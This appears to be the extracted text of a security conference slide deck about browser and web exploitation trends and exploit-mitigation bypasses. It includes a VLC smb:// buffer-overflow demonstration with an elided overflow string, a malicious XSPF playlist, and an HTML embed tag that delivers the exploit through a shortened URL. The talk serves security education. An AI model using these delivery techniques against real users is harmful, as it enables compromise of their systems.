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# who am i 

•  Saumil Shah, CEO Net-square 
•  LinkedIn: saumilshah 
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What shall�
we expect �

in�
? �
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"The amount of intelligence in the 
world is constant and the population   

is increasing." 
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Browser 
Wars 

Death of 
Standards 

HTTP 
+0.1 

Reckless 
Plugins 
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LOOK AT ALL THE COOL STUFF!! 

5 
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Wider Attack Surface 
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Ease of Exploitation 
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Mass Manufacturing 

Worldwide 

coverage, 

Hides your 

tracks. 
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Complexity... 

...as never seen before! 
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A New Dimension! 

GUARANTEED!! 

Fresh new bugs, 

Present on most 

computers 



net-square 

Open exploit vectors 

Browsers 

Plugins 

Web 
Apps 

Databases 

Docs 

Libraries 
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Exploit Mitigation 
Techniques 
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/GS 

SafeSEH 

DEP 

ASLR 

Permanent DEP 

ASLR and DEP 
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/GS 

SafeSEH 

DEP 

ASLR 

Permanent DEP 

ASLR and DEP 

SEH overwrites 

non-SEH DLLs 

Return to LibC 

Heap Sprays 

ROP 

JIT Sprays 
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I can haz 
sandbox? 
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The webz are broken! 

HTML 

Standards not 
adhered to 

Object 
access 

JS too 
powerful SRC= 

HTTP 

Old and 
idiotic 

Stateless No  Auth 
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Application 
Delivery 

The Web 
at present 

Authentication 
Statefulness 
Data Typing 
Non-mutable 

HTTP 
HTML 

AJAX 
Flash 
Sandbox 
HTML5 
Anti-XSS 
WAF 
Silverlight 
Web sockets 

MIND THE GAP 



net-square 

Exploit 
Sophistication 
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High Tech vs. Low Tech 

CVE-2010-0188 
Return Oriented Programming code 

Escape-From-PDF 
No fancy tricks 
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Server Side 
Vulnerabilities 
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SQL injection 

XSS 

CSRF 

RFI/LFI 

Input tampering 
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Making the impossible possible 

smb:// mrl 
buffer overflow 
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VLC smb overflow 

•  smb://example.com@0.0.0.0/foo/#
{AAAAAAAA....} 

•  Classic Stack Overflow. 
•  This MRL has to be fed to VLC. 
•  Ugly method 

– create an XSPF file 
– embed the MRL inside it 
– email it around, etc... 
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VLC XSPF file 
<?xml version="1.0" encoding="UTF-8"?> 
<playlist version="1" 
   xmlns="http://xspf.org/ns/0/" 
   xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/"> 
 <title>Playlist</title> 
 <trackList> 
  <track> 
   <location> 
      smb://example.com@0.0.0.0/foo/#{AAAAAAAA....} 
   </location> 
   <extension 
      application="http://www.videolan.org/vlc/playlist/0"> 
     <vlc:id>0</vlc:id> 
   </extension> 
  </track> 
 </trackList> 
</playlist> 
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...just add bit.ly 

smb:// mrl 
buffer overflow 



net-square 

Alpha 
Encoded 
Exploit 

Tiny 
URL 

ZOMFG 
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100% Pure 
Alphanum! 
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VLC smb overflow - HTMLized!! 

<embed type="application/x-vlc-plugin" 
  width="320" height="200" 
  target="http://tinyurl.com/ycctrzf" 
  id="vlc" /> 

I'm in ur browser.... 

...blowin up ur g00dz 

pwn 
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It is happening NOW 
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DEP 
bypassing 
ROP code 

Man in the 
Browser 

Political 
Cyber 

warfare 

It is happening NOW 
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The Solution? 

HTML 8.0 
HTTP 2.0 

Browser Security 
Model 

Self Contained 
Apps 



net-square secure . automate . innovate 

www.net-square.com 

kthxbai 


